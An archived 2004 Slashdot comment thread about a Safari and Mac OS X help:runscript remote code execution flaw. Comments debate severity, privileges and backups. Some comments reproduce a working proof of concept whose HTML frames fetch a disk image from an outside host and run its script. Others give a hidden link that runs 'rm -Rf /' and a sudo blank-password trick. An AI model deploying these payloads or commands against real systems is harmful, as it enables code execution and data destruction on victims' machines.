Safari Falls Victim to Remote Code Exploit

Wow by mcgroarty · 2004-05-17 05:40 · Score: 5, Funny

I've got to hand it to Apple...

"help:runscript=..."

No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!

That's it.. by Carlos+Silva · 2004-05-17 05:40 · Score: 5, Funny

I'm switching to Windows!

omg no by Anonymous Coward · 2004-05-17 05:43 · Score: 1, Funny

omg no!! wat wil i do?
some1 help meeeeeeee!!!!!!!

\@O@/

Is this worth a story? by 0x0d0a · 2004-05-17 05:43 · Score: 3, Insightful

I'm all for calling Apple out on security violations when they deserve it (especially since there have been some awfully generous and inaccurate security claims about Mac OS X), but if there was a Slashdot story for every exploit against a web browser, we'd be reading nothing else.

If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe.

However, this is ultimately a client-level attack that requires the user to pull down malicious data. It just isn't a big deal.

--
May we never see th

Re:Is this worth a story? by I_Love_Pocky! · 2004-05-17 05:49 · Score: 3, Insightful

I don't know about you, but I don't always take a look at my status bar before I click on a link. It is kind of nice to know such a exploit exists, because now I will be more careful (until Apple releases a patch). It is rediculous that a url can be used to execute malicious code.

On a related note, Safari is one of the best browsers I have ever used. I hope Apple releases a fix for this quickly.
Re:Is this worth a story? by mcgroarty · 2004-05-17 05:51 · Score: 5, Insightful

"It just isn't a big deal"
One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:
<a href=help:runscript=/bin/rm%20-Rf%20%2f>
is enough to run "rm -Rf /". Wiping out all user data with half a line of html isn't a big deal?
All companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.
Re:Is this worth a story? by Leffe · 2004-05-17 05:55 · Score: 1

I got the impression that just including the link would be enough :/

I did probaby not read well enough though.
Re:Is this worth a story? by mcgroarty · 2004-05-17 05:57 · Score: 5, Informative

"I don't know about you, but I don't always take a look at my status bar before I click on a link."
That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.
Re:Is this worth a story? by Anonymous Coward · 2004-05-17 05:58 · Score: 0

> Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.

According to some posters on macnn, mozilla isn't safe either: it's using the system wide settings for the help: and disk: protocols.
Re:Is this worth a story? by I_Love_Pocky! · 2004-05-17 06:01 · Score: 1

Yep... I don't know why I wasn't even thinking of that when I originally posted. But that is just all the more reason why this is an important issue, and "worth a story."
Re:Is this worth a story? by hummassa · 2004-05-17 06:05 · Score: 1

Would you click on it?

--
It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
Re:Is this worth a story? by pudge · 2004-05-17 06:21 · Score: 4, Informative

We don't allow help: URLs in Slash. :p
Re:Is this worth a story? by SandSpider · 2004-05-17 06:26 · Score: 4, Insightful

Ah, but do you allow tinyURLs? 'Cause that's what the grandparent post is suggesting. However, that particular exploit won't work, because it's neither formed properly, nor is it calling a script. However, there are other ways of running the exploit, and even linking it on slashdot, whether in a comment or otherwise.

=Brian

--
There is nothing so good that someone, somewhere, will not hate it.
Re:Is this worth a story? by edalytical · 2004-05-17 06:30 · Score: 5, Informative

Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

The prof of concept link in the article was very simple:

The linked file 0x04_test.html:
<html>
<head><title>Safari runscript remote execution: Proof of concept</title></head>
<frameset cols="1%, 99%">
<frame src="0x04_get.html">
<frame src="0x04_exec.html">
</frameset>
</html>

0x04_get.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
</head>
</html>

0x04_exec.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
</head>
<body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
<br>The script will execute automatically afterwards.
<br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
</pre></body>
</html>

Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

"You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" > owned.txt ; open owned.txt

Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

All html source courtesy of curl.

--
Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
Re:Is this worth a story? by mst76 · 2004-05-17 06:53 · Score: 4, Informative

It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.
Re:Is this worth a story? by TVC15 · 2004-05-17 07:01 · Score: 1

doesnt there need to be a 'sudo' in there somewhere and wouldnt that require admin password? perhaps this would work for home directory of the current user though.
Re:Is this worth a story? by pudge · 2004-05-17 07:07 · Score: 4, Informative

Not that this makes it significantly worse, but it is not just AppleScripts. Any OSA script will do, assuming the user has the OSA language installed. Since currently only AppleScript is installed by default ...

But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):
$ cd Desktop/ $ cat > foo.txt osascript -e 'tell app "Finder" to activate' ^C $ osacompile -l OSAShell -o foo.shell foo.txt $ osascript foo.shell # test script
And now that I know it works, I go to my current browser, Camino, and try:
help:runscript=../../../Users/pudge/Desktop/foo.sh ell
Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
Re:Is this worth a story? by NanoGator · 2004-05-17 10:53 · Score: 1

"If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe."

Actually, Outlook exploits aren't posted because of severity, it's because it's "further proof that Microsoft is completely incompetent, doesn't care, and everybody's karma is a little low anyway."

Frankly, it's nice to hear that other platforms have their issues, too. Slashdot put me into a false sense of security using Linux as an Apache server. I built one for my company's website. 2 weeks later it was rooted. If I had heard a little more than "Use Linux and you'll be secure" then I might have had the sense to at least look into the security updates more carefully.

(Note: It's my fault not Slashdot's that the server was compromised. I'm just annoyed that a little more objectivity here would have made me a more responsible n00b in the Linux world.)

--
"Derp de derp."
Re:Is this worth a story? by DAldredge · 2004-05-17 11:17 · Score: 0, Offtopic

How damn hard would it be to add spell check to this damn site?
Re:Is this worth a story? by pudge · 2004-05-17 11:28 · Score: 1

Yes, there is, of course, nothing we can do about external redirection sites, or offsite pages with redirects or other links on them, etc.
Re:Is this worth a story? by 0x0d0a · 2004-05-17 11:39 · Score: 1

Actually, Outlook exploits aren't posted because of severity, it's because it's "further proof that Microsoft is completely incompetent, doesn't care, and everybody's karma is a little low anyway."

I'm not saying that that isn't a factor, but the damage a worm can cause (and that worms *have* caused in the past) are simply much more widespread than a webbrowser exploit.

I built one for my company's website. 2 weeks later it was rooted.

You shoulda seen Linux a couple years ago, when everyone shipped it with finger, sendmail, and everything on earth on out of box, and a slowly growing number of users that didn't have any idea how to turn things off. :-)

Yeah, IMHO, ensuring that security is simple and intuitive is one of the most important UI portions of a piece of software (the most important being that destructive features not be accidentally invoked).

--
May we never see th
Re:Is this worth a story? by jimbolaya · 2004-05-17 23:40 · Score: 1

I especially like this part:
"If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked."

Uh, we were trying to erase your hard drive, but weren't able to. Would you mind reloading the browser page for us? Mm, thanks!

--
There ain't no rules here; we're trying to accomplish something.
Re:Is this worth a story? by Squozen · 2004-05-18 00:42 · Score: 1

I tried it several times and my PowerBook (running 10.3.3 with all the latest security patches) doesn't seem to do anything except download a drive image and open the Help viewer. No script seems to actually run. I wonder if Apple's already fixed the problem or if something on my system is preventing it from working.
Re:Is this worth a story? by XnetZERO · 2004-05-18 04:32 · Score: 1

of course, /bin/rm -Rf /

is pretty useless if you don't input the admin password. Granted, you'll lose your home directory, but that is significant in itself.
Re:Is this worth a story? by javaxman · 2004-05-18 05:44 · Score: 1

I know this story is a little old, and it's probably been said already, but...

this is a *really* big deal for Macintosh users. It's the first time they've really been confronted with such a huge security problem. Seriously, there's a project manager at Apple who needs to be fired over this.

The real problem turns out to be the Help Viewer, not Safari. So changing browsers doesn't do much. You need to either remove the Help Viewer or de-register it as a ( ha ha ) helper application by using something like "MoreInternet" to get at a ( sigh ) stupidly hidden set of related preferences. I'd provide the link but I think y'all can do your own searches... just be careful what you click on!

Yes, this is a client-level attack which requires the user to pull down malicious data- but all the user has to do is click on a URL, and that's *it*, the deed is done. If I click on a URL, get an executable downloaded to my desktop, then I click on that executable, that's just me being stupid. But if I click on a URL and it *automatically runs code*, that's a serious security problem. Sure, Windows users are used to VBScripts and such running without permission, but that's *exactly* the type of problem that, up until now, the folks at Apple have managed to avoid.
Re:Is this worth a story? by That's+Unpossible! · 2004-05-18 06:32 · Score: 1

You could add some code to check comments and signatures for links, following the links with perl (including redirects), and look for unwanted stuff along the way.

We do this on our forums to prevent people from posting links to certain things, e.g. sites that require basic auth logins, etc.

--
Ironically, the word ironically is often used incorrectly.
Re:Is this worth a story? by wealthychef · 2004-05-18 08:05 · Score: 1

This reminds me of an irritating "feature" of Safari. On other browsers, when you pass your mouse over a link, you can see the actual URL in an area below the window. Safari doesn't provide any way except copy-and-paste. IMHO this is a minor security issue, as I like to know exactly where Im going before I click.

--
Currently hooked on AMP
Re:Is this worth a story? by I_Love_Pocky! · 2004-05-18 08:26 · Score: 1

Umm... Just go to the "View" menu and click on Status Bar.
Re:Is this worth a story? by TheEnigma · 2004-05-18 16:44 · Score: 1

This is not an exploit against a browser. This is an OS-level compromise. Any browser will do. Firefox works fine. The current fix is to use MisFox or similar (even old IE) to change the "help:" protocol to another app. Taking the "runscript" power out of Help Viewer would be a nice thing, too, but any program with that ability could be provide in its place, wittingly or otherwise.

The real power is to combine the script running with providing your own script via disk:// protocol, which mounts .dmg disk images silently in the background at /Volume/yourDiskImage -- so Help Viewer can always find it!

--
Stand back. I've got a brain and I'm not afraid to use it.
Re:Is this worth a story? by TheEnigma · 2004-05-18 16:49 · Score: 1

See my post above but that won't work for two reasons: 1, only an applescript will work (not any old executable, welcome to Mac OS), and even if you use the vulnerable in-between script called OpnApp.scpt (which will happily call any executable), the extra line which you need to specify the executable shell script does not support spaces (they come through as "%20" and are unreadable) and so you cannot use "rm%20-rf" or whatever.

Thankfully this exploit is not quite that easy to take advantage of.

--
Stand back. I've got a brain and I'm not afraid to use it.
Re:Is this worth a story? by valmont · 2004-05-19 09:05 · Score: 1

tell me if this does anything. i'm trying to execute ls -l. It should at least launch the help viewer. It does for me and a couple of friends at work. This is bad. really really bad.

The security issue is not a browser issue, it is an operating system issue, more specifically, Mac OS X's protocol handler. Apparently, various protocols are registered to trigger various apps/functionality. Apple needs take long, hard look at each single one of them and plug potential security holes.

DAVE HYATT PLEASE HEAR ME

For one, a web browser's handling of the HTTP 302 response code should have thorough security built-in: NEVER, EVER execute a 302 response whose Location: field value is of a protocol that is different from the originating protocol, EXCEPT in a few cases: it should be ok for http to redirect to https, and vice-versa, maybe explore what should be done for http to ftp. http and https are the SAME protocol, but over a different TCP transport. This is why it still makes sense to allow redirection between the two. You should however be very very very weary of allowing any other sort of cross-protocol redirection.

Looking at the example link above, I've got a URL that belongs to the http:// protocol sending an HTTP 302 response (via tinyurl) to the web browser whose Location: header value belongs in the help:// protocol. This is bad. really really REALLY REALLY BAD. It further exasperates the importance of this security flaw.

APPLE, DAVE HYATT, I IMPLORE YOU, PLEASE FIX THIS ISSUE AT ONCE

--
Extraordinary Vacations. Exceptional Prices
Re:Is this worth a story? by valmont · 2004-05-19 09:31 · Score: 1
to clarify and chill myself out a little bit (prozac supplies are low this month :( ), i see two issues:
1. The fact that Help Viewer.app allows arbitrary arguments to the runscript parameter. This is the specific flaw this article is pointing out. Fixing this downgrades my next point to mere annoyance versus potentially really bad security hole.
2. Safari's implementation of the HTTP 302 response should be carefully analyzed and only allow cross-protocol redirection if it is absolutely needed. As previously outlined, http <--> https comes to mind, possibly http[s] --> ftp. That's not an OS-level issue, that's a browser/browser framework (WebKit) issue. Addressing this issue should add a decent layer of security: If other applications that are mapped to some other protocols have security flaws, it'll be a little bit harder to trigger them from web pages: you won't be able to obfuscate those bad URLs behind 302 redirects. Most public forums allow users to post URLs. A user can simply do what I did in the parent post: Post an apparently harmless link in the http protocol, but that link could redirect you to something evil in a protocol that is mapped to a securely flawed application. Most public forums do not allow scripting to be embedded in posts, so unless you go surfing some unusual, untrusted site, the situation is not as bad.
Finally a co-worker (and other people in this thread I think) pointed me to this great little application: MoreInternet. I really wish the dude would put-up a PayPal link on his home page. Use this app to review which protocols are mapped to which applications. Use that to explore potentially new security holes and/or replace known vulnerable applications with some secure dummy app in a given protocol mapping.
--
Extraordinary Vacations. Exceptional Prices
Re:Is this worth a story? by hunterx11 · 2004-05-25 11:07 · Score: 1

Safari may be insecure, but thanks to the wonders of Cocoa it at least has spell check :)

--
English is easier said than done.

Damn. by torpor · 2004-05-17 05:43 · Score: 1

That is one big hole. Frick.

I was just today wondering what the keylogging potential was for Safari ... guess this would give me a way to find out.

GAH!

--
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --

Good days ahead by vijaya_chandra · 2004-05-17 05:44 · Score: 5, Funny

First signs that apple's really in competition with Microsoft

Um, what privilidges does it run at? by Llywelyn · 2004-05-17 05:47 · Score: 5, Insightful

From the bulletin:
---------------
This can potentially wipe the entire hard-disk (or large parts of it),
if a hacker runs a script with "rm -rf /" included.
---------------

Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

--
Integrate Keynote and LaTeX

Re:Um, what privilidges does it run at? by Per+Wigren · 2004-05-17 05:57 · Score: 4, Insightful

If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!

--
My other account has a 3-digit UID.
Re:Um, what privilidges does it run at? by mst76 · 2004-05-17 06:12 · Score: 3, Insightful

But the user's information is the most important part of a personal computer. On a corporate Unix system with many users, privilege separation is great: if one user messes up, others won't notice a thing. For home users, an OS reinstallation is not too problematic (especially MacOS). But the typical home user does not backup every night. It's their personal information that matters most. I think the most prudent thing to do for a home PC is to make a separate low-privilege account for all internet activities. On Windows, start the browser and mail with runas, on Unix use su.
Re:Um, what privilidges does it run at? by pudge · 2004-05-17 06:20 · Score: 2, Insightful

An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
Re:Um, what privilidges does it run at? by Paradise+Pete · 2004-05-17 06:22 · Score: 2, Interesting

Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS?
Nor any other user's work. In fact, if you make a user just for possibly unsafe stuff you're pretty well protected. And with fast user switching it's a breeze.
Re:Um, what privilidges does it run at? by imnoteddy · 2004-05-17 06:43 · Score: 3, Insightful

Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!
No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.

--
No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-17 07:00 · Score: 1, Funny

Congratulations on completely missing the point.
Re:Um, what privilidges does it run at? by Devil's+Avocado · 2004-05-17 07:01 · Score: 4, Informative

"""
An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
"""

That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.

On any reasonably well maintained OS X system executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...
Re:Um, what privilidges does it run at? by pudge · 2004-05-17 07:15 · Score: 1

On any reasonably well maintained OS X system

That's a bit like saying "email viruses aren't a problem because they only spread when users do stupid things." :-)

executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted.

It's a remote possibility, not not an impossible one. It is also possible to run Help Viewer as root.

This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

Maybe it should have been explained better or worded differently, but it would be incorrect to leave it out as a possibility ...
Re:Um, what privilidges does it run at? by Llywelyn · 2004-05-17 07:39 · Score: 3, Interesting

You would have to specifically modify the system and, if you know enough to do that, then you get what is coming to you for modifying it.

Seriously, this is kind of like saying "well, this exploit could erase someone's entire hard drive on a linux system if they were running their web browser as root."

Factually true but completely irrelevant.

For the default install this is a problem, but try not to blow it out of proportion by inventing scenarios to make it more serious.

--
Integrate Keynote and LaTeX
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-17 07:44 · Score: 0

What about your reinstallable backups?
Re:Um, what privilidges does it run at? by jgs · 2004-05-17 08:01 · Score: 1

In fact, if you make a user just for possibly unsafe stuff you're pretty well protected.

Only if you're willing to treat "clicking on a link in a web page" as "possibly unsafe".
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-17 08:12 · Score: 0

Congratulations on not seeing the larger picture.
Re:Um, what privilidges does it run at? by skinfitz · 2004-05-17 08:17 · Score: 2, Insightful

Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

I have never, ever, known any Mac owner (myself included) to create a "Standard" user account for their own personal use.

This exploit could destroy a lot of work, and don't give me the "you're an idiot if you don't back up" line, as it's not the point.
Re:Um, what privilidges does it run at? by Paradise+Pete · 2004-05-17 08:30 · Score: 1

Only if you're willing to treat "clicking on a link in a web page" as "possibly unsafe".
Well, that depends. Is it possibly unsafe? I don't mean to be a smart ass, but if browsing is risky, then do it with a user account designed for taking risks. It's trivial to set up, and with fast user switching there's nothing to it. It's just like rolling in another desktop.
You can say that Apple needs to fix this, and of course they do, but that doesn't mean there's not another vulnerability lurking. If people are trying to do bad things to you on the internet, well then when you get on it take some precautions.
Re:Um, what privilidges does it run at? by crackshoe · 2004-05-17 08:41 · Score: 1

Well, i run as admin, with a password, without auto login, but i make everyone else run as a standard user. I generally do this because i've considered the mac less likely to terribly infect itself (in windows i run myself as a restricted user, only loggin on as Admin to do installs). but really, everyone should back shit up. this doesn't mean they're getting what they deserve if they lose all their work - its just good forethought. drive failure is a very real problem, even if exploits aren't likely to wipe your system.

--
Don't worry - its just stigmata. Pass me a napkin and don't you dare tell my mother.
Re:Um, what privilidges does it run at? by harlows_monkeys · 2004-05-17 09:10 · Score: 2, Insightful

Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk
So, basically, it can't wipe out those parts of the disk that are trivial to restore from the system install CDs, and instead only gets the parts that are actually important to the user? How comforting. :-)
Re:Um, what privilidges does it run at? by eet23 · 2004-05-17 10:15 · Score: 1

Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.
True, it couldn't erase the disk. But it could send four million spam emails and open a backdoor.
Re:Um, what privilidges does it run at? by hawaiian717 · 2004-05-17 12:09 · Score: 2, Informative

Remember though, an Admin account on Mac OS X is not root. Basically, an Admin account is someone who can sudo/su to root, but it is not itself not root. In order for a script that wanted rm -rf / to work, it would have to ask the user to enter their password (which admittedly, many would probably do).

--
End of Line.
Re:Um, what privilidges does it run at? by Chester+K · 2004-05-17 12:12 · Score: 1

No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.

So why bother with this security stuff at all, then?

--

NO CARRIER
Re:Um, what privilidges does it run at? by jc42 · 2004-05-17 12:13 · Score: 1

[I]f you make a user just for possibly unsafe stuff you're pretty well protected.

Indeed. I've done just that. I have to do a bunch of web testing as part of my job. One of the useful things about my PowerBook is that I have ... let's see ... yup, 8 different browsers now. And I often have to test with javascript turned on. Nobody with a grain of sense does that in an account that contains valuable data. We've had several demos of why not here on /. Remember "Hey everybody, I'm looking at gay porno!"?

So I have a "test" account that OSX (like any unix clone) can keep fairly separate from my real work account. It's test that does most of the web testing.

And yes, test has lost all of his files on several occasions. Once was when I coded up a web page with my own javascript file-zapper, and told test to download it. All of test's files were gone.

But nothing else in the system disappeared (except a few files in /tmp and /usr/tmp, and who needs those? ;-)

Supposedly you can do this on XT, too. I wonder how many XT users could actually do it successfully the first try? I know (from a test on another machine ;-) that I can't. That doesn't mean it's impossible, of course; there are probably a few XT users that would find it easy. OTOH, most unix/linux/OSX novices could do it without much effort.

(I wonder when browsex will come out for OSX? Cool browser. But I do wonder how you have sex that involves your brows.)

(And I wonder what other browsers exist for OSX that I don't know about.)

--
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Re:Um, what privilidges does it run at? by jc42 · 2004-05-17 13:34 · Score: 1

Well, I thought I'd set up my "normal" account on my PowerBook as a conventional unprivileged user, to avoid any such problems. Imagine my horror when I ran the following in a Terminal window:

: id
uid=501(jc) gid=20(staff) groups=20(staff), 80(admin)
: sudo csh
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 80(admin)
#

Note that the "sudo" command didn't even ask me for a password.

I've dug around in TFM to try to understand the OSX security model. My conclusion from this and other tests: OSX security is far too complex for my feeble brain.

If OSX were marketed as a system for experts, this might not bother me. But it is aggressively marketed as the system "for the rest of us", and pushed as a good system for a computer novice. OSX takes care of all those complex computer-nerd things for you, so you don't have to worry your pretty head about it.

Frankly, the above example tells me that I should be worried. That just shouldn't work, dammit. And the docs should explain to me what's wrong, and how to fix it.

--
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Re:Um, what privilidges does it run at? by mithras+the+prophet · 2004-05-17 14:05 · Score: 1

Hmm, sudo should only not ask for your password if you've run it (and authenticated) in the last 5 minutes...

--
four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
Re:Um, what privilidges does it run at? by BandwidthHog · 2004-05-17 14:29 · Score: 1

[Above all, keep in mind that I'm as far from a traditional Unix geek as one can be; I'm an old-school graphic artist mac geek from back in the days of the 1-bit steam-driven interface, so forgive me if I've gone astray.]

With that said, all I can figure is that you must have entered your root password for a prior sudo usage within the preceding five minutes (or whatever the default time value is). My account is set up as an admin (as opposed to actual root) but I still have to 'sudo' to do any real damage. Before posting this I went to the shell, ran 'id' as me, then did 'sudo csh' then 'id' and got the same results. I then did control-D twice to exit the shell and close the terminal window. I opened a new window, and was able to 'sudo' without my password since it'd only been a few seconds. Try your experiment now and it should work as you'd hoped.

--

Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-17 15:21 · Score: 0

Bzzt! Wrong! Thanks for playing!
Re:Um, what privilidges does it run at? by drsmithy · 2004-05-17 16:35 · Score: 2, Insightful

And with fast user switching it's a breeze.
As long as you don't want to do something rare and uncommon like, say, copy & paste between your "unsafe stuff" and anything else...
Re:Um, what privilidges does it run at? by ce25254 · 2004-05-17 18:38 · Score: 2, Interesting

I do an automated backup of my OS X home directory every night to a Firewire disk that is mounted as /Volumes/BakDisk.
So if the script does
rm -rf /
Won't it delete my backup, too?

I think so, but I'm not going to test it and find out.
I thought backing up to a HDD was supposed to be a better idea than using those unreliable CD-R/DVD-R discs. Now I'm not so sure. (I guess I'd better get a tape drive?)
Re:Um, what privilidges does it run at? by skinfitz · 2004-05-17 18:44 · Score: 1

The default behaviour for sudo is to ask you for a password and remember that for 5 minutes. You can override it by typing

sudo -K

Which instructs it to "forget" your elevated privs.

Try sudo-K then try again and see what happens.

One concern is that by default, OSX creates an admin user with no password. So in other words... try this:

echo |sudo -S ls

Scary eh?
Re:Um, what privilidges does it run at? by skinfitz · 2004-05-17 19:43 · Score: 1

Try echo|sudo -S ls

...which will not ask for a password so long as the password is blank. Bear in mind the default setup behaviour is an admin user with no password isnt it?

Note also that if you have a blank password, you can't CTRL+C out of sudo either!
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-17 20:13 · Score: 0

Thanks for the kind words, but that award actually belongs to you.
Re:Um, what privilidges does it run at? by jimbolaya · 2004-05-17 23:43 · Score: 3, Informative

You can create an account with no password, but it is not the default, and Mac OS X will warn you that it is dangerous to do so ("Are you sure...?").

--
There ain't no rules here; we're trying to accomplish something.
Re:Um, what privilidges does it run at? by djwildstar · 2004-05-18 01:32 · Score: 2, Informative

Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

Me.

And I recommend it to anyone else running Panther, too.

I do my work as an ordinary user, without auto-login and with a password. I have an administrator account that I use for software installs and system work. It also has a password (and no auto-login).

Running as an ordinary user has saved me from loosing data to a few stupid mistakes (and one buggy program I was working on). I find there isn't anything that I need to do as an user of the system that I can't do from the "ordinary" user account. When I do need to switch to the system user (for example, to install software or fiddle with settings), it's very easy to move between the two accounts when I need to, with Fast User Switching.

Then again, I am an old-school UNIX sysadmin, and I tend to run my Mac as if it was a BSD-based workstation ...
Re:Um, what privilidges does it run at? by jc42 · 2004-05-18 01:46 · Score: 1

echo |sudo -S ls

Yeah, and I also tried "sudo | id", which told me it was run by root.

And, contrary to the comments by others, I haven't given sudo a password within the past five minutes. I haven't given sudo a password any time today.

This implies that anything that can trick my machine into running code from the outside under my permission can use sudo without a password to get root permission.

So much for OSX security.

Funny thing is: I know that sudo on my PowerBook has asked me for a password some time in the past. In fact, it did so at least once yesterday. But I have no idea what the pattern is. I don't use sudo often enough to have seen any such pattern.

Since its behavior is unknown to me, I should assume the worst. But it's difficult to imagine anything much worse than seeing "sudo id" tell me "uid=0(root)" when I haven't typed any password at all.

--
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Re:Um, what privilidges does it run at? by Durandal64 · 2004-05-18 02:08 · Score: 1

I ran those commands, and sudo asked me for a password, just like it always has. I think that these problems might be exclusive to your setup.
Re:Um, what privilidges does it run at? by jweatherley · 2004-05-18 02:16 · Score: 1

Hmm, doesn't work for me - I get prompted for my password as you would expect:
Weatherleys-Computer:~ james$ id uid=501(james) gid=20(staff) groups=20(staff), 0(wheel), 80(admin) Weatherleys-Computer:~ james$ sudo id Password: uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 80(admin) Weatherleys-Computer:~ james$

--

--
Reverse outsourcing: it's the future
Re:Um, what privilidges does it run at? by Anonymous Coward · 2004-05-18 04:21 · Score: 0

Sure, because a non-admin, non-sudoer account can install a SMTP or install an application listening in the kernel or reconfigure the firewall.

Try again, ignoramus.
Re:Um, what privilidges does it run at? by jc42 · 2004-05-18 06:30 · Score: 1

Hmmm repeated. I tried it again today, and this time it asked me for my password. So whatever the rule is, something changed since yesterday, when I didn't get any password prompts from "sudo id" at all.

I'd suspected that it might be somehow related to the groups that I'm in, but I'm in fewer groups than you are. My "id" command only lists staff and admin; I'm not in the wheel group. In fact, on my PowerBook, wheel (group 0) actually has no members except root.

In any case, I get nervous when I don't understand the security rules. If I can't predict the security behavior, I can't trust it.

Also, the fact that sudo works when I give it my own password (not root's) also makes me nervous. If my account is compormised and someone learns my password (say because some software has sent it across a wire in the clear), then they also have sudo access. This just seems wrong to me.

Why would they have done it this way?

--
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Re:Um, what privilidges does it run at? by Rommel · 2004-05-18 07:19 · Score: 1

The default assumption is that your password is safe and you have taken precautions to protect it. An overall admin tells sudo what you can and cannot be allowed to do. Then when you invoke sudo, you are asked to enter your password to authenticate you are the person asking and not someone walking up to your computer. After that, sudo checks to see if you're allowed to perform the requested operation. This model scales well because there could be dozens of people with sudo-like priviledges without the need for the root password. Of course, this is customizable. Try "man sudoers" on your system.
Re:Um, what privilidges does it run at? by jc42 · 2004-05-18 09:41 · Score: 1

The default assumption is that your password is safe and you have taken precautions to protect it.

Yes, and this is the basis of OSX's susceptibility to things like spyware. With most unixoid systems, my password is only used to get to things that require my permissions. This is usually only login and killing the screen saver. To escalate permissions to a system id, you give that system id's password.

On OSX, to get the system configured initially, you are repeatedly prompted for a password by a popup window, and you have to type your own password. Thus, users are trained early on to respond to a popup demand for a password by typing their own password.

An expert user might be suspicious of this. But Macs are marketed primarily to non-geeks, not to computer experts. Most Mac users have no intention to get into the arcane inner workings of their computer; they want something that "just works". So they will in fact be trained to type their password when it is requested, and they will do so without much if any suspicion.

If I can get them to install my spyware, all I have to do is pop up that little window asking for their password. Perhaps I use the "keychain" incantation as an extra persuader. They type their password. My program now has access to not just their permissions, but also all of the "system" ids, including root. My code can also send the password, login, and machine id info back home, if the machine is connected to the Net.

This sounds like an invitation to a disaster to me. And note that the current topic is spyware getting into OSX via any browser.

